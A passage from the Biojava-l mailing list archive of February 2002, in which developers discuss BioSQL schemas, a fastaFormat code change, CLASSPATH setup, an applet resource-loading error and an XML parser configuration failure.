worked fine on a linux platform. When I tried it under windows, it
failed. I ended up having to create a separate thread for handing the
standard output and standard errors. It seemed to be a problem only when
the output of either was more than a small number of characters (80 or 100
from memory). Once I rewrote the code to use separate threads, it ran fine
on both operating systems. I can dig into my code archive to send a
snippet of what it took to get the multiple threads working if
required. It will take me a day or two to dig it up, just let me know if
you want it.
cheers
tony
From smh1008@cus.cam.ac.uk Wed Feb 20 22:16:54 2002
From: smh1008@cus.cam.ac.uk (David Huen)
Date: Wed, 20 Feb 2002 22:16:54 +0000 (GMT)
Subject: [Biojava-l] Ant-tized das-gui module
Message-ID: <Pine.SOL.3.96.1020220221134.18667B-100000@draco.cus.cam.ac.uk>
I've just made an ant-compilable version of the current das-gui module.
Are we agreeable on the classes being in
org.biojava.bio.program.das.client? I think for safety I should upload it
to a new module called das-client rather than attempting to modify the
existing module. If we find that the new upload works properly, we can
delete das-gui eventually. Is this acceptable to all? I'll upload
following consensus.
There are still some bits of ant I haven't quite sussed, like how to get
it to dump the entire contents of biojava.jar into the jar it is building
but that can be fixed later.
Regards,
David Huen
From mark.schreiber@agresearch.co.nz Wed Feb 20 22:43:19 2002
From: mark.schreiber@agresearch.co.nz (Schreiber, Mark)
Date: Thu, 21 Feb 2002 11:43:19 +1300
Subject: [Biojava-l] Propsed change for fastaFormat
Message-ID: <AF026AF0FF4B054590228FD1F1DE51650F4260@inbox.agresearch.co.nz>
Hi -
I'm pretty sure the phredFormat should be immune to such a change.
Mark
Mark Schreiber
Bioinformatics
AgResearch Invermay
PO Box 50034
Mosgiel
New Zealand
PH: +64 3 489 9175
-----Original Message-----
From: Cox, Greg [mailto:gcox@netgenics.com]
Sent: Tuesday, 19 February 2002 11:34 a.m.
To: biojava-l@biojava.org
Subject: [Biojava-l] Propsed change for fastaFormat
What I'd like to do is write the name + description of a sequence out in
fasta format. Right now, it prints the name for a non-phred file, and
the description of a phred file (greped the code for the key used; it's
only in phredFormat). I don't work with phred files, so I don't want to
bull in and break things. Could someone who uses phred look at this
proposed change and
tell me if it would cause problems for you?
public static String PROPERTY_DESCRIPTIONLINE =
"description_line";
public void setPropertyDescriptionLine(String theLine) // New
method
{
PROPERTY_DESCRIPTIONLINE = theLine;
}
public String getPropertyDescriptionLine() // New method
{
return PROPERTY_DESCRIPTIONLINE;
}
protected String describeSequence(Sequence seq) // Rewritten
method
{
StringBuffer description = new StringBuffer(seq.getName());
try
{
description.append(" " +
seq.getAnnotation().getProperty(this.getPropertyDescriptionLine()).toStr
ing(
));
}
catch (NoSuchElementException ex)
{
// Intentionally blank
}
return description.toString();
}
Thanks,
Greg Cox
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http://biojava.org/mailman/listinfo/biojava-l
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From td2@sanger.ac.uk Wed Feb 20 23:06:37 2002
From: td2@sanger.ac.uk (Thomas Down)
Date: Wed, 20 Feb 2002 23:06:37 +0000
Subject: [Biojava-l] Schema and Docs for BioSQL
In-Reply-To: <3C73F05A.42B0CC68@alumni.carnegiemellon.edu>; from MEColosimo@alumni.carnegiemellon.edu on Wed, Feb 20, 2002 at 01:52:10PM -0500
References: <3C73F05A.42B0CC68@alumni.carnegiemellon.edu>
Message-ID: <20020220230637.B4237@caldy.sanger.ac.uk>
On Wed, Feb 20, 2002 at 01:52:10PM -0500, Marc Colosimo wrote:
> Hi,
>
> Is there any information about using the BioSQL classes in BioJava, such
> as the schema for the database or examples in using it? I am interest in
> using postgre and biojava to store lots of sequence data.
BioSQL is based on bioperl-db. There's a little bit about
it in the document from the first (O'Reilly) hackathon meeting:
http://www.technophage.com/open-bio-database.pdf
The BioJava code's quite new -- I've got a little tutorial
planned, but I'm afraid (ahem) it's not written yet.
In the mean time, the code is integrated into the main
trunk version of biojava-live (although it didn't quite
make it into 1.2), and hopefully shouldn't be too
problematic to use (touch wood!).
You can get schemas (MySQL and PostgreSQL) from:
http://www.biojava.org/download/biosql/
Right now, there are actually two PostgreSQL schemas --
one was auto-generated from the MySQL one, the other was
hand edited by me (identified by the -thomasd suffix).
Right now, I'd advise the hand-edited version, but this
should go away in future once the automated conversion has
been perfected.
If you're using PostgreSQL, note the following:
- You need at least version 7.1 -- previous versions didn't
support storing large strings in normal table attributes.
- There's a file of stored procedures (biosqlprocs.sql)
which you can load into the database after loading the
schema. These are auto-detected by the BioJava code,
and can increase write performance by a significant
amount (a factor of 3, using my test setup).
On the BioJava side, there isn't really any API for BioSQL
as such. You can just do something like:
SequenceDB seqs = new BioSQLSequenceDB(
"jdbc:postgresql://dbbox.mydomain.org/biosql_db",
"username",
"password",
"database-name",
true
);
The first three arguments are just standard JDBC-style database
connection details. There's a `database name' parameter because
BioSQL allows each `physical' SQL database to contain a number of
`logical' databases. Perhaps namespace would be a better term
for these (but hey, I didn't write the original schema). The final
argument specifies whether the namespace should be created if it
doesn't already exist. Note that right now, the BioJava code
won't create the actual SQL database, or load the schema, for you.
You'll have to do this manally using your database's normal tools.
Having connected to the database, you can write complete
Sequence entries using the addSequence(Sequence) method.
You can retreive sequences by ID using the getSequence(String)
method. Objects extracted by this method retain live connections
to the database. Alterations to the sequence (for instance,
using the createFeature(Feature.Template) method) are immediately
reflected in the database (in a transactionally safe manner, if
the database supports this -- PostgreSQL does). So they're true
persistant implementations of the BioJava interfaces.
The aim is to have everything work just like in-memory
SequenceDB, Sequence, and Feature objects. For many purposes,
BioSQL is now pretty close to this ideal.
Basic BioSQL doesn't support hierarchical features, so theseg
get flattened when adding a sequence to a database (and attempts
to create new child features on a BioSQL sequence will fail).
However, I've got an /experimental/ extension for handling
this. There's an extra table (seqfeature_hierarchy) in my
schema. Once again, this is autodetected by the client code
and used if available.
Let me know how you get on,
Thomas.
From gilmanb@genome.wi.mit.edu Wed Feb 20 23:16:12 2002
From: gilmanb@genome.wi.mit.edu (Brian Gilman)
Date: Wed, 20 Feb 2002 18:16:12 -0500 (EST)
Subject: [Biojava-l] Schema and Docs for BioSQL
In-Reply-To: <20020220230637.B4237@caldy.sanger.ac.uk>
Message-ID: <Pine.OSF.4.10.10202201815380.21712-100000@darwin.wi.mit.edu>
Hello Thomas,
What did you use to generate the postgres ddl?? I haven't found
anything that works very well...
Thanks!
-b
-----------------------
Brian Gilman <gilmanb@genome.wi.mit.edu>
Sr. Software Engineer MIT/Whitehead Inst. Center for Genome Research
One Kendall Square, Bldg. 300 / Cambridge, MA 02139-1561 USA
phone +1 617 252 1069 / fax +1 617 252 1902
On Wed, 20 Feb 2002, Thomas Down wrote:
> On Wed, Feb 20, 2002 at 01:52:10PM -0500, Marc Colosimo wrote:
> > Hi,
> >
> > Is there any information about using the BioSQL classes in BioJava, such
> > as the schema for the database or examples in using it? I am interest in
> > using postgre and biojava to store lots of sequence data.
>
> BioSQL is based on bioperl-db. There's a little bit about
> it in the document from the first (O'Reilly) hackathon meeting:
>
> http://www.technophage.com/open-bio-database.pdf
>
> The BioJava code's quite new -- I've got a little tutorial
> planned, but I'm afraid (ahem) it's not written yet.
>
> In the mean time, the code is integrated into the main
> trunk version of biojava-live (although it didn't quite
> make it into 1.2), and hopefully shouldn't be too
> problematic to use (touch wood!).
>
> You can get schemas (MySQL and PostgreSQL) from:
>
> http://www.biojava.org/download/biosql/
>
> Right now, there are actually two PostgreSQL schemas --
> one was auto-generated from the MySQL one, the other was
> hand edited by me (identified by the -thomasd suffix).
> Right now, I'd advise the hand-edited version, but this
> should go away in future once the automated conversion has
> been perfected.
>
> If you're using PostgreSQL, note the following:
>
> - You need at least version 7.1 -- previous versions didn't
> support storing large strings in normal table attributes.
>
> - There's a file of stored procedures (biosqlprocs.sql)
> which you can load into the database after loading the
> schema. These are auto-detected by the BioJava code,
> and can increase write performance by a significant
> amount (a factor of 3, using my test setup).
>
>
> On the BioJava side, there isn't really any API for BioSQL
> as such. You can just do something like:
>
> SequenceDB seqs = new BioSQLSequenceDB(
> "jdbc:postgresql://dbbox.mydomain.org/biosql_db",
> "username",
> "password",
> "database-name",
> true
> );
>
> The first three arguments are just standard JDBC-style database
> connection details. There's a `database name' parameter because
> BioSQL allows each `physical' SQL database to contain a number of
> `logical' databases. Perhaps namespace would be a better term
> for these (but hey, I didn't write the original schema). The final
> argument specifies whether the namespace should be created if it
> doesn't already exist. Note that right now, the BioJava code
> won't create the actual SQL database, or load the schema, for you.
> You'll have to do this manally using your database's normal tools.
>
> Having connected to the database, you can write complete
> Sequence entries using the addSequence(Sequence) method.
>
> You can retreive sequences by ID using the getSequence(String)
> method. Objects extracted by this method retain live connections
> to the database. Alterations to the sequence (for instance,
> using the createFeature(Feature.Template) method) are immediately
> reflected in the database (in a transactionally safe manner, if
> the database supports this -- PostgreSQL does). So they're true
> persistant implementations of the BioJava interfaces.
>
> The aim is to have everything work just like in-memory
> SequenceDB, Sequence, and Feature objects. For many purposes,
> BioSQL is now pretty close to this ideal.
>
> Basic BioSQL doesn't support hierarchical features, so theseg
> get flattened when adding a sequence to a database (and attempts
> to create new child features on a BioSQL sequence will fail).
> However, I've got an /experimental/ extension for handling
> this. There's an extra table (seqfeature_hierarchy) in my
> schema. Once again, this is autodetected by the client code
> and used if available.
>
>
> Let me know how you get on,
>
> Thomas.
> _______________________________________________
> Biojava-l mailing list - Biojava-l@biojava.org
> http://biojava.org/mailman/listinfo/biojava-l
>
From td2@sanger.ac.uk Wed Feb 20 23:24:25 2002
From: td2@sanger.ac.uk (Thomas Down)
Date: Wed, 20 Feb 2002 23:24:25 +0000
Subject: [Biojava-l] Schema and Docs for BioSQL
In-Reply-To: <Pine.OSF.4.10.10202201815380.21712-100000@darwin.wi.mit.edu>; from gilmanb@genome.wi.mit.edu on Wed, Feb 20, 2002 at 06:16:12PM -0500
References: <20020220230637.B4237@caldy.sanger.ac.uk> <Pine.OSF.4.10.10202201815380.21712-100000@darwin.wi.mit.edu>
Message-ID: <20020220232425.C4237@caldy.sanger.ac.uk>
On Wed, Feb 20, 2002 at 06:16:12PM -0500, Brian Gilman wrote:
> Hello Thomas,
>
> What did you use to generate the postgres ddl?? I haven't found
> anything that works very well...
The auto-generated version was produced by a Perl script
written by Chris. It uses some standard parser module
(RecDescent?) to parse the MySQL DDL and then emits
PostgreSQL. It's not perfect yet, but it should be
fixable.
Or do you mean tools for editing schemas? I'm afraid I
don't really know about this -- I'm a hand-edited SQL
in emacs guy ;-).
Thomas.
From gilmanb@genome.wi.mit.edu Wed Feb 20 23:27:13 2002
From: gilmanb@genome.wi.mit.edu (Brian Gilman)
Date: Wed, 20 Feb 2002 18:27:13 -0500 (EST)
Subject: [Biojava-l] Schema and Docs for BioSQL
In-Reply-To: <20020220232425.C4237@caldy.sanger.ac.uk>
Message-ID: <Pine.OSF.4.10.10202201826430.21712-100000@darwin.wi.mit.edu>
No I meant the DDL conversion...Where can I get that script?? It sounds
like something I could absolutely use!!
-B
-----------------------
Brian Gilman <gilmanb@genome.wi.mit.edu>
Sr. Software Engineer MIT/Whitehead Inst. Center for Genome Research
One Kendall Square, Bldg. 300 / Cambridge, MA 02139-1561 USA
phone +1 617 252 1069 / fax +1 617 252 1902
On Wed, 20 Feb 2002, Thomas Down wrote:
> On Wed, Feb 20, 2002 at 06:16:12PM -0500, Brian Gilman wrote:
> > Hello Thomas,
> >
> > What did you use to generate the postgres ddl?? I haven't found
> > anything that works very well...
>
> The auto-generated version was produced by a Perl script
> written by Chris. It uses some standard parser module
> (RecDescent?) to parse the MySQL DDL and then emits
> PostgreSQL. It's not perfect yet, but it should be
> fixable.
>
> Or do you mean tools for editing schemas? I'm afraid I
> don't really know about this -- I'm a hand-edited SQL
> in emacs guy ;-).
>
>
> Thomas.
>
From td2@sanger.ac.uk Wed Feb 20 23:30:53 2002
From: td2@sanger.ac.uk (Thomas Down)
Date: Wed, 20 Feb 2002 23:30:53 +0000
Subject: [Biojava-l] Schema and Docs for BioSQL
In-Reply-To: <Pine.OSF.4.10.10202201826430.21712-100000@darwin.wi.mit.edu>; from gilmanb@genome.wi.mit.edu on Wed, Feb 20, 2002 at 06:27:13PM -0500
References: <20020220232425.C4237@caldy.sanger.ac.uk> <Pine.OSF.4.10.10202201826430.21712-100000@darwin.wi.mit.edu>
Message-ID: <20020220233053.A4764@caldy.sanger.ac.uk>
On Wed, Feb 20, 2002 at 06:27:13PM -0500, Brian Gilman wrote:
> No I meant the DDL conversion...Where can I get that script?? It sounds
> like something I could absolutely use!!
cvs.open-bio.org:/home/repository/biosql
Checkout the biosql-schemas module.
Thomas.
From mandavya@gmx.net Thu Feb 21 02:14:59 2002
From: mandavya@gmx.net (mandavya)
Date: Thu, 21 Feb 2002 07:44:59 +0530
Subject: [Biojava-l] a newbie interested in trying biojava
Message-ID: <004a01c1ba7d$948e0be0$c79d47ca@nile>
hi all,
I am a biologist developing interest in bioinformatics.
I have downloaded the following jar files from the biojava site.
1. biojava-1.11
2. biojava-20010702
3. biojava-20010920
4. biojava-20020111
5. bytecode-0.90
6. jakarta-regexp
7. xerces
8. xml
I have my jdk1.3/bin in C drive .
I tried to follow the documentation for installing these packages. But i failed. Please tell me where to copy these jars, before
that check whether the downloaded jars are adequate and up-to-date.
thanking u all in advance,
yours,
mandy
mandavya@gmx.net
From td2@sanger.ac.uk Thu Feb 21 07:32:24 2002
From: td2@sanger.ac.uk (Thomas Down)
Date: Thu, 21 Feb 2002 07:32:24 +0000
Subject: [Biojava-l] a newbie interested in trying biojava
In-Reply-To: <004a01c1ba7d$948e0be0$c79d47ca@nile>; from mandavya@gmx.net on Thu, Feb 21, 2002 at 07:44:59AM +0530
References: <004a01c1ba7d$948e0be0$c79d47ca@nile>
Message-ID: <20020221073224.A5030@caldy.sanger.ac.uk>
On Thu, Feb 21, 2002 at 07:44:59AM +0530, mandavya wrote:
> hi all,
> I am a biologist developing interest in bioinformatics.
> I have downloaded the following jar files from the biojava site.
> 1. biojava-1.11
> 2. biojava-20010702
> 3. biojava-20010920
> 4. biojava-20020111
> 5. bytecode-0.90
> 6. jakarta-regexp
> 7. xerces
> 8. xml
> I have my jdk1.3/bin in C drive .
>
> I tried to follow the documentation for installing these packages. But i failed. Please tell me where to copy these jars, before
> that check whether the downloaded jars are adequate and up-to-date.
Okay, it looks like you've downloaded several different
versions of BioJava, all of them a bit old now (the releases
with an 8-digit number are snapshot releases. We should
probably delete some of the older ones.
I'd recommend you use the recent BioJava 1.20 release
for now. The other things you'll require are:
xerces.jar (XML parser)
jakarta-regexp.jar
bytecode-0.90.jar
Strictly speaking, BioJava doesn't need to be `installed'.
You can place the .jar files anywhere on your system,
then set up the CLASSPATH environment variable to tell your
Java runtime where to find them:
set CLASSPATH C:\biojava\biojava-1.20.jar;C:\biojava\xerces.jar;C:\biojava\bytecode.jar;.
Then take a look at the tutorial:
http://www.biojava.org/tutorials/index.html
And try compiling a simple example program (try GCContent,
from the first chapter of the tutorial).
Let me know if you have any more trouble,
Thomas.
From kdj@sanger.ac.uk Thu Feb 21 09:45:23 2002
From: kdj@sanger.ac.uk (Keith James)
Date: 21 Feb 2002 09:45:23 +0000
Subject: [Biojava-l] Build fails on org.biojava.directory.RegistryTest (fixed)
Message-ID: <sc4eljf2moc.fsf@fes1.sanger.ac.uk>
Build fails as the provider returns a SequenceDBLite rather than
SequenceDB. Presumably the test is just missing the cast so I added it
in CVS so the build works.
Keith
--
-= Keith James - kdj@sanger.ac.uk - http://www.sanger.ac.uk/Users/kdj =-
Pathogen Sequencing Unit, Wellcome Trust Sanger Institute, Cambridge, UK
From td2@sanger.ac.uk Thu Feb 21 10:06:42 2002
From: td2@sanger.ac.uk (Thomas Down)
Date: Thu, 21 Feb 2002 10:06:42 +0000
Subject: [Biojava-l] Build fails on org.biojava.directory.RegistryTest (fixed)
In-Reply-To: <sc4eljf2moc.fsf@fes1.sanger.ac.uk>; from kdj@sanger.ac.uk on Thu, Feb 21, 2002 at 09:45:23AM +0000
References: <sc4eljf2moc.fsf@fes1.sanger.ac.uk>
Message-ID: <20020221100642.A24087@jabba.sanger.ac.uk>
On Thu, Feb 21, 2002 at 09:45:23AM +0000, Keith James wrote:
>
> Build fails as the provider returns a SequenceDBLite rather than
> SequenceDB. Presumably the test is just missing the cast so I added it
> in CVS so the build works.
Oh... rattus norvegicus. All my fault.
I changed the SequenceDBProvider interface while tidying up
the directory stuff ready for Hackathon #2, since not all data
sources are really able to implement the full SequenceDB
functionality. I completely forgot about RegistryTest. It doesn't
really belong in the main source tree anyway -- I've move it next
time I'm in the area.
Thanks for spotting this. I owe beer, etc.
Thomas.
From ktg@Cs.Nott.AC.UK Thu Feb 21 11:24:11 2002
From: ktg@Cs.Nott.AC.UK (Kevin Glover)
Date: Thu, 21 Feb 2002 11:24:11 +0000
Subject: [Biojava-l] Applets
Message-ID: <3C74D8DB.50505@cs.nott.ac.uk>
Hi there,
I've been trying to write an applet that displays a sequence. However,
it appears that because of an applets security restrictions
AlphabetManager.xml can't be loaded, which essentially put the
AlphabetManager class out of action. Any ideas of a way to get round this?
Kevin
From td2@sanger.ac.uk Thu Feb 21 11:41:37 2002
From: td2@sanger.ac.uk (Thomas Down)
Date: Thu, 21 Feb 2002 11:41:37 +0000
Subject: [Biojava-l] Applets
In-Reply-To: <3C74D8DB.50505@cs.nott.ac.uk>; from ktg@cs.nott.ac.uk on Thu, Feb 21, 2002 at 11:24:11AM +0000
References: <3C74D8DB.50505@cs.nott.ac.uk>
Message-ID: <20020221114137.C24087@jabba.sanger.ac.uk>
On Thu, Feb 21, 2002 at 11:24:11AM +0000, Kevin Glover wrote:
> Hi there,
> I've been trying to write an applet that displays a sequence. However,
> it appears that because of an applets security restrictions
> AlphabetManager.xml can't be loaded, which essentially put the
> AlphabetManager class out of action. Any ideas of a way to get round this?
Which browser are you using? Java version? And what error
message are you seeing?
I haven't used BioJava in an applet for a while now, but at
one point I successfully ran a DAS client in an applet, running
on Java plugin 1.3 in Mozilla (under Linux). I don't think I
had any security issues unless you tried to communicate with
servers other than the machine from which the applet was loaded.
AlphabetManager.xml is loaded from the biojava.jar file using
a getResourceAsStream() call. I thought this was always a legal
thing for an applet to do -- anyone else know better?
Thomas.
From td2@sanger.ac.uk Thu Feb 21 12:08:52 2002
From: td2@sanger.ac.uk (Thomas Down)
Date: Thu, 21 Feb 2002 12:08:52 +0000
Subject: [Biojava-l] Applets
In-Reply-To: <3C74E27A.8080909@cs.nott.ac.uk>; from ktg@Cs.Nott.AC.UK on Thu, Feb 21, 2002 at 12:05:14PM +0000
References: <3C74D8DB.50505@cs.nott.ac.uk> <20020221114137.C24087@jabba.sanger.ac.uk> <3C74E27A.8080909@cs.nott.ac.uk>
Message-ID: <20020221120852.D24087@jabba.sanger.ac.uk>
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From td2@sanger.ac.uk Thu Feb 21 12:30:15 2002
From: td2@sanger.ac.uk (Thomas Down)
Date: Thu, 21 Feb 2002 12:30:15 +0000
Subject: [Biojava-l] Applets
In-Reply-To: <3C74E27A.8080909@cs.nott.ac.uk>; from ktg@Cs.Nott.AC.UK on Thu, Feb 21, 2002 at 12:05:14PM +0000
References: <3C74D8DB.50505@cs.nott.ac.uk> <20020221114137.C24087@jabba.sanger.ac.uk> <3C74E27A.8080909@cs.nott.ac.uk>
Message-ID: <20020221123015.E24087@jabba.sanger.ac.uk>
Appologies for my last post on this topic something horrible
must have happened between my text editor and my MTA. Hopefully
won't happen again.
On Thu, Feb 21, 2002 at 12:05:14PM +0000, Kevin Glover wrote:
> Thomas Down wrote:
>
> > Which browser are you using? Java version? And what error
> > message are you seeing?
>
>
> I'm using Mozilla, with the Java plugin 1.3.1 and using biojava 1.20.
Should be okay. But you might want to try 1.4.0 anyway.
> The error I'm getting is, on a call to DNATools.getDNA():
>
> org.biojava.bio.BioError: Couldn't locate AlphabetManager.xml. Badly
>
> I can't imagine that it can't find it, so I'm just assuming its the
> applets security thats the problem. I could be wrong.
I really don't believe it's a security problem -- if the security
system were vetoing access to the file, I'd expect to see an
exception. Instead, getResouceAsStream() is returning null,
which specifically means that the named resource couldn't be
found.
How are you invoking the applet? Could you send a copy of
the <applet> element from your document?
Thanks,
Thomas.
From ktg@Cs.Nott.AC.UK Thu Feb 21 13:22:04 2002
From: ktg@Cs.Nott.AC.UK (Kevin Glover)
Date: Thu, 21 Feb 2002 13:22:04 +0000
Subject: [Biojava-l] Applets
References: <3C74D8DB.50505@cs.nott.ac.uk> <20020221114137.C24087@jabba.sanger.ac.uk> <3C74E27A.8080909@cs.nott.ac.uk> <20020221123015.E24087@jabba.sanger.ac.uk>
Message-ID: <3C74F47C.604@cs.nott.ac.uk>
Thomas Down wrote:
> How are you invoking the applet? Could you send a copy of
> the <applet> element from your document?
>
<applet code="myGrid.seqviewer.FastBeadApplet" width="100%" height="100%">
Though I've also tried:
<applet archive="biojava-1.20.jar"
code="myGrid.seqviewer.FastBeadApplet" width="100%" height="100%">
with exactly the same results.
From matthew_pocock@yahoo.co.uk Thu Feb 21 13:44:19 2002
From: matthew_pocock@yahoo.co.uk (Matthew Pocock)
Date: Thu, 21 Feb 2002 13:44:19 +0000
Subject: [Biojava-l] Ant-tized das-gui module
References: <Pine.SOL.3.96.1020220221134.18667B-100000@draco.cus.cam.ac.uk>
Message-ID: <3C74F9B3.1010003@yahoo.co.uk>
Thanks David, this was well over due. I had a hokey .bat that did build
& release for me (I don't know if this got checked into cvs), but ant is
much better.
The only other thing is that the class which loads up links in browsers
potentialy requires a licence line to be added e.g. to our project root
readme or licensing document.
Matthew
David Huen wrote:
> I've just made an ant-compilable version of the current das-gui module.
> Are we agreeable on the classes being in
> org.biojava.bio.program.das.client? I think for safety I should upload it
> to a new module called das-client rather than attempting to modify the
> existing module. If we find that the new upload works properly, we can
> delete das-gui eventually. Is this acceptable to all? I'll upload
> following consensus.
>
> There are still some bits of ant I haven't quite sussed, like how to get
> it to dump the entire contents of biojava.jar into the jar it is building
> but that can be fixed later.
>
> Regards,
> David Huen
>
> _______________________________________________
> Biojava-l mailing list - Biojava-l@biojava.org
> http://biojava.org/mailman/listinfo/biojava-l
>
>
From cantey.lg@pg.com Thu Feb 21 15:29:46 2002
From: cantey.lg@pg.com (cantey.lg@pg.com)
Date: Thu, 21 Feb 2002 10:29:46 -0500
Subject: [Biojava-l] Genbank Problem
Message-ID: <OF6AD85B24.9B7CBDBE-ON85256B67.00549388@na.pg.com>
Using the code below:
File genbankFile = new File(args[0]);
BufferedReader gReader = new BufferedReader(
new InputStreamReader(new FileInputStream(genbankFile)));
SequenceIterator sI = SeqIOTools.readGenbank(gReader);
while(sI.hasNext())
{
Sequence seq = sI.nextSequence();
System.out.println(seq.getName() + " has " + seq.countFeatures() + " features");
printFeatures(seq, System.out, "");
}
------------------------------------------------
I encountered the error below:
-----------------------------------------------
javax.xml.parsers.FactoryConfigurationError: java.lang.ClassNotFoundException: org.apache.crimson.jaxp.DocumentBuilderFactoryImpl
at javax.xml.parsers.DocumentBuilderFactory.newInstance(DocumentBuilderFactory.java:118)
at org.biojava.bio.symbol.AlphabetManager.<clinit>(AlphabetManager.java:697)
at org.biojava.bio.seq.DNATools.<clinit>(DNATools.java:50)
rethrown as org.biojava.bio.BioError: Unable to initialize DNATools
at org.biojava.bio.seq.DNATools.<clinit>(DNATools.java:83)
at org.biojava.bio.seq.io.SeqIOTools.readGenbank(SeqIOTools.java:102)
at seq.UpdatedTestGenbank.main(UpdatedTestGenbank.java, Compiled Code)
The xerces.jar file was in the CLASSPATH....
Any ideas ???
Thanks for any help !!!
Larry Cantey
From td2@sanger.ac.uk Thu Feb 21 16:01:45 2002
From: td2@sanger.ac.uk (Thomas Down)
Date: Thu, 21 Feb 2002 16:01:45 +0000
Subject: [Biojava-l] Applets
In-Reply-To: <3C74F47C.604@cs.nott.ac.uk>; from ktg@Cs.Nott.AC.UK on Thu, Feb 21, 2002 at 01:22:04PM +0000
References: <3C74D8DB.50505@cs.nott.ac.uk> <20020221114137.C24087@jabba.sanger.ac.uk> <3C74E27A.8080909@cs.nott.ac.uk> <20020221123015.E24087@jabba.sanger.ac.uk> <3C74F47C.604@cs.nott.ac.uk>
Message-ID: <20020221160145.J24087@jabba.sanger.ac.uk>
On Thu, Feb 21, 2002 at 01:22:04PM +0000, Kevin Glover wrote:
> Thomas Down wrote:
>
> > How are you invoking the applet? Could you send a copy of
> > the <applet> element from your document?
> >
>
> <applet code="myGrid.seqviewer.FastBeadApplet" width="100%" height="100%">
>
> Though I've also tried:
>
> <applet archive="biojava-1.20.jar"
> code="myGrid.seqviewer.FastBeadApplet" width="100%" height="100%">
Hmmm, how come in the first example it's able to find any
BioJava classes at all? Have you included an unpacked copy
of BioJava in your directory structure.
The second example looks correct (although you also need an
XML parser -- but that won't solve the immediate problem...)
Have you tried jdk1.4.0?
Thomas.
From td2@sanger.ac.uk Thu Feb 21 16:09:49 2002
From: td2@sanger.ac.uk (Thomas Down)
Date: Thu, 21 Feb 2002 16:09:49 +0000
Subject: [Biojava-l] Genbank Problem
In-Reply-To: <OF6AD85B24.9B7CBDBE-ON85256B67.00549388@na.pg.com>; from cantey.lg@pg.com on Thu, Feb 21, 2002 at 10:29:46AM -0500
References: <OF6AD85B24.9B7CBDBE-ON85256B67.00549388@na.pg.com>
Message-ID: <20020221160949.K24087@jabba.sanger.ac.uk>
This doesn't look like a Genbank parser problem -- the XML
parser is required very early on in the initialization of the
code BioJava code, to load some XML data files. This is the
point where it seems to be failing.
BioJava now using Sun's JAXP API to obtain XML parsers --
this should make it parser-independant, although we still
recommend Xerces to anyone who's needs a parser. The
exception below looks like the JAXP infrastructure is getting
confused about which parser to use. Do you also have a
any of the following files on your CLASSPATH (or in
${JAVA_HOME}/jre/lib/ext):
jaxp.jar
parser.jar
crimson.jar
If so, try removing them and seeing if you get any further.
Are you, by any chance, using JDK1.4? This includes the latest
version of the Crimson parser, built in. If so, you might
actually want to try removing xerces.jar from the classpath,
so see if that helps. BioJava works fine using that
version of crimson.
Let me know if problems persist....
Thomas.
On Thu, Feb 21, 2002 at 10:29:46AM -0500, cantey.lg@pg.com wrote:
>
> javax.xml.parsers.FactoryConfigurationError: java.lang.ClassNotFoundException: org.apache.crimson.jaxp.DocumentBuilderFactoryImpl
>
> at javax.xml.parsers.DocumentBuilderFactory.newInstance(DocumentBuilderFactory.java:118)
>
> at org.biojava.bio.symbol.AlphabetManager.<clinit>(AlphabetManager.java:697)
>
> at org.biojava.bio.seq.DNATools.<clinit>(DNATools.java:50)
>
> rethrown as org.biojava.bio.BioError: Unable to initialize DNATools
>
> at org.biojava.bio.seq.DNATools.<clinit>(DNATools.java:83)
>
> at org.biojava.bio.seq.io.SeqIOTools.readGenbank(SeqIOTools.java:102)
>
> at seq.UpdatedTestGenbank.main(UpdatedTestGenbank.java, Compiled Code)
>
>
> The xerces.jar file was in the CLASSPATH....
>
> Any ideas ???
>
> Thanks for any help !!!
>
> Larry Cantey
From ktg@Cs.Nott.AC.UK Thu Feb 21 17:09:26 2002
From: ktg@Cs.Nott.AC.UK (Kevin Glover)
Date: Thu, 21 Feb 2002 17:09:26 +0000
Subject: [Biojava-l] Applets
References: <3C74D8DB.50505@cs.nott.ac.uk> <20020221114137.C24087@jabba.sanger.ac.uk> <3C74E27A.8080909@cs.nott.ac.uk> <20020221123015.E24087@jabba.sanger.ac.uk> <3C74F47C.604@cs.nott.ac.uk> <20020221160145.J24087@jabba.sanger.ac.uk>
Message-ID: <3C7529C6.9090005@cs.nott.ac.uk>
Thomas Down wrote:
> On Thu, Feb 21, 2002 at 01:22:04PM +0000, Kevin Glover wrote:
>
>>Thomas Down wrote:
>>
>> > How are you invoking the applet? Could you send a copy of
>> > the <applet> element from your document?
>> >
>>
>><applet code="myGrid.seqviewer.FastBeadApplet" width="100%"
height="100%">
>>
>>Though I've also tried:
>>
>><applet archive="biojava-1.20.jar"
>>code="myGrid.seqviewer.FastBeadApplet" width="100%" height="100%">
>>
>
>
> Hmmm, how come in the first example it's able to find any
> BioJava classes at all? Have you included an unpacked copy
> of BioJava in your directory structure.
No, but both biojava and an XML parser exist in my classpath.
> The second example looks correct (although you also need an
> XML parser -- but that won't solve the immediate problem...)
>
> Have you tried jdk1.4.0?
>
Not yet, still trying to download a copy without the download cutting
out half way through. Know of any UK mirrors I can use?
Kevin
From birney@ebi.ac.uk Thu Feb 21 17:13:23 2002
From: birney@ebi.ac.uk (Ewan Birney)
Date: Thu, 21 Feb 2002 17:13:23 +0000 (GMT)
Subject: [Biojava-l] Hinxton Genome Informatics Meeting [apologies for cross posting]
Message-ID: <Pine.OSF.4.21.0202211709350.1051276-100000@mozart.ebi.ac.uk>
Just to announce that a repeat of last year's very successful Hinxton
Genome Informatics, jointly held by CSHL and the Wellcome Trust is being
run again this year, Sept 4th-8th. Web site with registration details can
be found at
http://meetings.cshl.org/hinxtonhall.htm
(close of registration is a long way off)
Next year the venue is likely to switch to Cold Spring Harbor.
We expect a lively, engaged group of scientists talking about Genome
Informatics problems and solutions.
Ewan
-----------------------------------------------------------------
Ewan Birney. Mobile: +44 (0)7970 151230, Work: +44 1223 494420
<birney@ebi.ac.uk>.
-----------------------------------------------------------------
From td2@sanger.ac.uk Thu Feb 21 17:20:04 2002
From: td2@sanger.ac.uk (Thomas Down)
Date: Thu, 21 Feb 2002 17:20:04 +0000
Subject: [Biojava-l] Applets
In-Reply-To: <3C7529C6.9090005@cs.nott.ac.uk>; from ktg@Cs.Nott.AC.UK on Thu, Feb 21, 2002 at 05:09:26PM +0000
References: <3C74D8DB.50505@cs.nott.ac.uk> <20020221114137.C24087@jabba.sanger.ac.uk> <3C74E27A.8080909@cs.nott.ac.uk> <20020221123015.E24087@jabba.sanger.ac.uk> <3C74F47C.604@cs.nott.ac.uk> <20020221160145.J24087@jabba.sanger.ac.uk> <3C7529C6.9090005@cs.nott.ac.uk>
Message-ID: <20020221172004.A25696@jabba.sanger.ac.uk>
